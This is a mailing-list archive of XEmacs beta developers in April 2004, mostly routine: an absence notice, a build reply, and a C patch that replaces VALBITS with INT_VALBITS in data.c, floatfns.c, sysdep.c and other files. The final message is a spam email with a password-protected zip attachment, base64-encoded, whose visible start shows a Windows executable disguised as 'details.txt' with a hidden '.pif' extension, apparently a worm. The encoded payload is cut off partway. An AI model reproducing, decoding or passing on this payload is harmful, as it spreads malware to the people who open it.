(8.11.6p2/8.9.1) id i3JIPZH26649 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 14:25:35 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JIPYC26625 for turnbull@tux.org; Mon, 19 Apr 2004 14:25:34 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JIPYs26612 for ; Mon, 19 Apr 2004 14:25:34 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3JIPLDu022889 for ; Mon, 19 Apr 2004 13:25:21 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3JIPLHS016417; Mon, 19 Apr 2004 13:25:21 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3JIPLFf016415; Mon, 19 Apr 2004 13:25:21 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: XEmacs Beta Subject: Out for a couple of days From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Mon, 19 Apr 2004 13:25:21 -0500 Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Some developments in Real Life are going to drag me away from my office, and hence access to the XEmacs sources and my email, for the next couple of days. I tried to get as much email answered this morning as I could, but I did not get around to everyone. I will answer the rest when I get back to the computer, probably not until Wednesday morning. I want to thank everyone who has helped out with getting bignums settled into place. Stephen, I did not get a chance to read your Info documentation changes yet. I'll do those first when I return. Regards, -- Jerry James, who will have to tell all about the abusive email he's been getting related to iSearch and toolbars at some later time From xemacs-beta-admin@xemacs.org Mon Apr 19 15:37:06 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JJb1s16269; Mon, 19 Apr 2004 15:37:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JJaaX15741 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 15:36:36 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JJaZ715717 for turnbull@tux.org; Mon, 19 Apr 2004 15:36:35 -0400 Received: from mailout02.sul.t-online.com (mailout02.sul.t-online.com [194.25.134.17]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JJaZs15708 for ; Mon, 19 Apr 2004 15:36:35 -0400 Received: from fwd08.aul.t-online.de by mailout02.sul.t-online.com with smtp id 1BFeZD-0000ER-00; Mon, 19 Apr 2004 21:36:31 +0200 Received: from redqueen.ath.cx.t-online.de (bdaNqOZUZeHYNJ73-M1EclPnM-TD+7vdGt1+OH+7NqCcYb94-BJ+sI@[217.94.101.249]) by fwd08.sul.t-online.com with esmtp id 1BFeQ1-0OLNS40; Mon, 19 Apr 2004 21:27:01 +0200 To: Olivier Galibert Cc: xemacs-beta@xemacs.org Subject: Re: 21.5, current CVS, problem creating the dump-file References: <20040419150621.GA78808@dspnet.fr.eu.org> From: viteno@t-online.de (Norbert Koch) X-Face: 5*nyF1\39:,h6Sk1<}(t1O5x!y5y6@XzBRq5LAYj;Xzb*Ak,]@$HL@>: c&#dUFU=U8O(+/6T0k{j{1~uS@GVk4zurEEb.~MoSbG2pM4z!~/<@.tcd `uD`fNR+TM\@++x@!/Bq)24"xD_kGn,jqwVQa|R'|FFxgWa+$0x]p>KE9E /Xk0$%a*2*K]"zOtbk9v0sNgwb2H"IOaEjCVolb5&yW`o#w2}!w!M{Dn&{K0t Mail-Followup-To: Olivier Galibert , xemacs-beta@xemacs.org Date: Mon, 19 Apr 2004 21:27:00 +0200 In-Reply-To: <20040419150621.GA78808@dspnet.fr.eu.org> (Olivier Galibert's message of "Mon, 19 Apr 2004 17:06:21 +0200") Message-ID: User-Agent: Gnus/5.110002 (No Gnus v0.2) XEmacs/21.5 (chayote, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Seen: false X-ID: bdaNqOZUZeHYNJ73-M1EclPnM-TD+7vdGt1+OH+7NqCcYb94-BJ+sI X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Olivier Galibert writes: > At that point, it's supposed to do it again with the new size. Which > make do you use (bsd or gnu) and what are the stopping messages you've > cut off after the "dump file too big" ones? I used gmake. Although, Jerry's changes to dump-data.{c,h} fixed the build. norbert. From xemacs-beta-admin@xemacs.org Mon Apr 19 15:50:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JJo2s32486; Mon, 19 Apr 2004 15:50:03 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JJnNV31693 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 15:49:23 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JJnKY31605 for turnbull@tux.org; Mon, 19 Apr 2004 15:49:20 -0400 Received: from smtp03.mrf.mail.rcn.net (smtp03.mrf.mail.rcn.net [207.172.4.62]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JJnBs31401; Mon, 19 Apr 2004 15:49:11 -0400 Received: from 209-6-229-49.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([209.6.229.49] helo=zion.rcn.com) by smtp03.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1BFelP-0006Nd-00; Mon, 19 Apr 2004 15:49:07 -0400 Received: by zion.rcn.com (Postfix, from userid 500) id A459E1E081; Mon, 19 Apr 2004 15:49:53 -0400 (EDT) To: Jerry James Cc: Lars Brinkhoff , XEmacs Beta , XEmacs Patches Subject: [Q21.4] truncate range error References: <85brlob90y.fsf@junk.nocrew.org> From: Vin Shelton Organization: The XEmacs Development Team Date: Mon, 19 Apr 2004 15:49:53 -0400 In-Reply-To: (Jerry James's message of "Mon, 19 Apr 2004 11:41:57 -0500") Message-ID: Lines: 77 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , QUERY (Not really a query, though) Jerry, thanks for the patch, but see my note below: Jerry James writes: > Thank you for the report, Lars. It looks like this bug predates me, so > I will cowardly refuse to take responsibility for it. :-) I haven't done > the required digging through the CVS history yet, but it looks like this > was probably introduced when Lisp integers were changed from 28 bits to > 31 bits. The problem is that VALBITS is used several places in the > sources where INT_VALBITS should be used. I've taken the opportunity to > also replace some complex expressions with EMACS_INT_MAX or > EMACS_INT_MIN, as appropriate. > > A patch for 21.5 will also be necessary. I will submit that separately, > because the bignum patch has messed up some of the context. > > The data.c and sysdep.c changes look a little funny because (1L << 31) > causes gcc to complain about integer overflow on 32 bit machines. > > > src/ChangeLog addition: > > 2004-04-19 Jerry James > > * data.c (sign_extend_lisp_int): Use INT_VALBITS instead of > VALBITS to compute the location of the sign bit. > * event-stream.c (Fcurrent_event_timestamp): Replace incorrect use > of VALBITS with EMACS_INT_MAX. > * events.c (Fevent_timestamp): Ditto. > * events.c (TIMESTAMP_HALFSPACE): Change VALBITS to INT_VALBITS to > compute the halfway point to timestamp wraparound. > * floatfns.c (float_to_int): Compare against EMACS_INT_MAX and > EMACS_INT_MIN instead of using VALBITS. > * floatfns.c (Flogb): Use EMACS_INT_MIN instead of building an > incorrect number with VALBITS. > * fns.c (Frandom): Correct number of integer bits in docstring. > Use INT_VALBITS instead of VALBITS to compute the denominator. > * sysdep.c (get_random): Use INT_VALBITS instead of VALBITS to > build random numbers. ... > Index: src/sysdep.c > =================================================================== > RCS file: /pack/xemacscvs/XEmacs/xemacs/src/sysdep.c,v > retrieving revision 1.38.2.3 > diff -d -u -r1.38.2.3 sysdep.c > --- src/sysdep.c 2002/08/20 11:38:14 1.38.2.3 > +++ src/sysdep.c 2004/04/19 16:14:44 > @@ -3510,19 +3510,19 @@ > get_random (void) > { > long val = random (); > -#if VALBITS > RAND_BITS > +#if INT_VALBITS > RAND_BITS > val = (val << RAND_BITS) ^ random (); > -#if VALBITS > 2*RAND_BITS > +#if INT_VALBITS > 2*RAND_BITS > val = (val << RAND_BITS) ^ random (); > -#if VALBITS > 3*RAND_BITS > +#if INT_VALBITS > 3*RAND_BITS > val = (val << RAND_BITS) ^ random (); > -#if VALBITS > 4*RAND_BITS > +#if INT_VALBITS > 4*RAND_BITS > val = (val << RAND_BITS) ^ random (); > #endif /* need at least 5 */ > #endif /* need at least 4 */ > #endif /* need at least 3 */ > #endif /* need at least 2 */ > - return val & ((1L << VALB Unfortunately, the patch got truncated here, Jerry. Can you please resubmit? Thanks, Vin From xemacs-beta-admin@xemacs.org Mon Apr 19 17:04:30 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JL4Cs21010; Mon, 19 Apr 2004 17:04:12 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JL3PW20224 for xemacs-beta-mailman@xemacs.org; Mon, 19 Apr 2004 17:03:25 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3JL3LP20138 for turnbull@tux.org; Mon, 19 Apr 2004 17:03:21 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JL3Ks20121; Mon, 19 Apr 2004 17:03:21 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3JL2PDu004654; Mon, 19 Apr 2004 16:02:25 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3JL2PHS016607; Mon, 19 Apr 2004 16:02:25 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3JL2OQl016605; Mon, 19 Apr 2004 16:02:24 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: Vin Shelton Cc: Lars Brinkhoff , XEmacs Beta , XEmacs Patches Subject: Re: [Q21.4] truncate range error References: <85brlob90y.fsf@junk.nocrew.org> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Mon, 19 Apr 2004 16:02:24 -0500 In-Reply-To: (Vin Shelton's message of "Mon, 19 Apr 2004 15:49:53 -0400") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="=-=-=" X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , --=-=-= Good thing I checked my email one more time before leaving! Vin Shelton wrote: > Unfortunately, the patch got truncated here, Jerry. Can you please > resubmit? Bummer. That's the third patch of mine to get mangled or truncated in the last couple of months. I am living on the bleeding edge, though (CVS XEmacs 21.5 and CVS packages, with only slight delays in updating). Attaching the patch has worked in the past, so I'll try that. --=-=-= Content-Type: text/x-patch Content-Disposition: attachment; filename=x.diff Content-Description: VALBITS patch Index: src/ChangeLog =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/ChangeLog,v retrieving revision 1.290.2.66 diff -d -u -r1.290.2.66 ChangeLog --- src/ChangeLog 2004/03/25 21:08:13 1.290.2.66 +++ src/ChangeLog 2004/04/19 20:43:59 @@ -1,3 +1,21 @@ +2004-04-19 Jerry James + + * data.c (sign_extend_lisp_int): Use INT_VALBITS instead of + VALBITS to compute the location of the sign bit. + * event-stream.c (Fcurrent_event_timestamp): Replace incorrect use + of VALBITS with EMACS_INT_MAX. + * events.c (Fevent_timestamp): Ditto. + * events.c (TIMESTAMP_HALFSPACE): Change VALBITS to INT_VALBITS to + compute the halfway point to timestamp wraparound. + * floatfns.c (float_to_int): Compare against EMACS_INT_MAX and + EMACS_INT_MIN instead of using VALBITS. + * floatfns.c (Flogb): Use EMACS_INT_MIN instead of building an + incorrect number with VALBITS. + * fns.c (Frandom): Correct number of integer bits in docstring. + Use INT_VALBITS instead of VALBITS to compute the denominator. + * sysdep.c (get_random): Use INT_VALBITS instead of VALBITS to + build random numbers. + 2004-03-23 Malcolm Purvis * event-gtk.c: * event-gtk.c (gtk_event_to_emacs_event): Index: src/data.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/data.c,v retrieving revision 1.27.2.1 diff -d -u -r1.27.2.1 data.c --- src/data.c 2003/10/24 03:49:57 1.27.2.1 +++ src/data.c 2004/04/19 20:44:00 @@ -170,10 +170,10 @@ EMACS_INT sign_extend_lisp_int (EMACS_INT num) { - if (num & (1L << (VALBITS - 1))) - return num | ((-1L) << VALBITS); + if (num & (1L << (INT_VALBITS - 1))) + return num | ((-1L) << INT_VALBITS); else - return num & ((1L << VALBITS) - 1); + return num & (EMACS_INT) ((1UL << INT_VALBITS) - 1); } Index: src/event-stream.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/event-stream.c,v retrieving revision 1.49.2.6 diff -d -u -r1.49.2.6 event-stream.c --- src/event-stream.c 2003/01/03 09:59:45 1.49.2.6 +++ src/event-stream.c 2004/04/19 20:44:05 @@ -4481,7 +4481,7 @@ /* This junk is so that timestamps don't get to be negative, but contain as many bits as this particular emacs will allow. */ - return make_int (((1L << (VALBITS - 1)) - 1) & tiempo); + return make_int (EMACS_INT_MAX & tiempo); } Index: src/events.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/events.c,v retrieving revision 1.42 diff -d -u -r1.42 events.c --- src/events.c 2001/04/12 18:23:42 1.42 +++ src/events.c 2004/04/19 20:44:05 @@ -1483,11 +1483,10 @@ /* This junk is so that timestamps don't get to be negative, but contain as many bits as this particular emacs will allow. */ - return make_int (((1L << (VALBITS - 1)) - 1) & - XEVENT (event)->timestamp); + return make_int (EMACS_INT_MAX & XEVENT (event)->timestamp); } -#define TIMESTAMP_HALFSPACE (1L << (VALBITS - 2)) +#define TIMESTAMP_HALFSPACE (1L << (INT_VALBITS - 2)) DEFUN ("event-timestamp<", Fevent_timestamp_lessp, 2, 2, 0, /* Return true if timestamp TIME1 is earlier than timestamp TIME2. Index: src/floatfns.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/floatfns.c,v retrieving revision 1.8 diff -d -u -r1.8 floatfns.c --- src/floatfns.c 2001/04/12 18:23:45 1.8 +++ src/floatfns.c 2004/04/19 20:44:05 @@ -128,15 +128,16 @@ static Lisp_Object float_to_int (double x, const char *name, Lisp_Object num, Lisp_Object num2) { - if (x >= ((EMACS_INT) 1 << (VALBITS-1)) - || x <= - ((EMACS_INT) 1 << (VALBITS-1)) - (EMACS_INT) 1) - { - if (!UNBOUNDP (num2)) - range_error2 (name, num, num2); - else - range_error (name, num); - } - return (make_int ((EMACS_INT) x)); + REGISTER EMACS_INT result = (EMACS_INT) x; + + if (result > EMACS_INT_MAX || result < EMACS_INT_MIN) + { + if (!UNBOUNDP (num2)) + range_error2 (name, num, num2); + else + range_error (name, num); + } + return make_int (result); } @@ -708,7 +709,7 @@ double f = extract_float (number); if (f == 0.0) - return make_int (- (EMACS_INT)(((EMACS_UINT) 1) << (VALBITS - 1))); /* most-negative-fixnum */ + return make_int (EMACS_INT_MIN); #ifdef HAVE_LOGB { Lisp_Object val; Index: src/fns.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/fns.c,v retrieving revision 1.33.2.2 diff -d -u -r1.33.2.2 fns.c --- src/fns.c 2002/08/20 11:37:15 1.33.2.2 +++ src/fns.c 2004/04/19 20:44:06 @@ -143,7 +143,7 @@ DEFUN ("random", Frandom, 0, 1, 0, /* Return a pseudo-random number. All integers representable in Lisp are equally likely. - On most systems, this is 28 bits' worth. + On most systems, this is 31 bits' worth. With positive integer argument N, return random number in interval [0,N). With argument t, set the random number seed from the current time and pid. */ @@ -163,7 +163,7 @@ it's possible to get a quotient larger than limit; discarding these values eliminates the bias that would otherwise appear when using a large limit. */ - denominator = ((unsigned long)1 << VALBITS) / XINT (limit); + denominator = ((unsigned long)1 << INT_VALBITS) / XINT (limit); do val = get_random () / denominator; while (val >= XINT (limit)); Index: src/sysdep.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/sysdep.c,v retrieving revision 1.38.2.3 diff -d -u -r1.38.2.3 sysdep.c --- src/sysdep.c 2002/08/20 11:38:14 1.38.2.3 +++ src/sysdep.c 2004/04/19 20:44:06 @@ -3510,19 +3510,19 @@ get_random (void) { long val = random (); -#if VALBITS > RAND_BITS +#if INT_VALBITS > RAND_BITS val = (val << RAND_BITS) ^ random (); -#if VALBITS > 2*RAND_BITS +#if INT_VALBITS > 2*RAND_BITS val = (val << RAND_BITS) ^ random (); -#if VALBITS > 3*RAND_BITS +#if INT_VALBITS > 3*RAND_BITS val = (val << RAND_BITS) ^ random (); -#if VALBITS > 4*RAND_BITS +#if INT_VALBITS > 4*RAND_BITS val = (val << RAND_BITS) ^ random (); #endif /* need at least 5 */ #endif /* need at least 4 */ #endif /* need at least 3 */ #endif /* need at least 2 */ - return val & ((1L << VALBITS) - 1); + return val & (EMACS_INT) ((1UL << INT_VALBITS) - 1); } --=-=-= If that doesn't work, it will have to wait until Wednesday. Wait. Lars! I sent the patch directl --=-=-=-- From mtcicero74@yahoo.com Mon Apr 19 19:41:11 2004 Received: from yxa.extundo.com (178.230.13.217.in-addr.dgcsystems.net [217.13.230.178]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3JNfAs07899 for ; Mon, 19 Apr 2004 19:41:10 -0400 Received: from xemacs.org (modemcable022.146-201-24.mc.videotron.ca [24.201.146.22]) by yxa.extundo.com (8.12.11/8.12.11) with ESMTP id i3JNf6Yc029737 for ; Tue, 20 Apr 2004 01:41:07 +0200 Message-Id: <200404192341.i3JNf6Yc029737@yxa.extundo.com> From: mtcicero74@yahoo.com To: xemacs-beta-archive@xemacs.org Subject: Re: Hi Date: Mon, 19 Apr 2004 19:21:15 -0700 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal X-Spam-Flag: YES X-Spam-Status: Yes, hits=9.7 required=5.0 tests=BAYES_80,FORGED_YAHOO_RCVD, FROM_ENDS_IN_NUMS,MIME_BOUND_NEXTPART,MISSING_MIMEOLE,NO_REAL_NAME, PRIORITY_NO_NAME,RCVD_IN_DYNABLOCK,RCVD_IN_SORBS autolearn=no version=2.63 X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on yxa.extundo.com This is a multi-part message in MIME format. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit The file is protected with the password ghj001. ------=_NextPart_000_0016----=_NextPart_000_0016 Content-Type: application/octet-stream; name="priv.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="priv.zip" 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 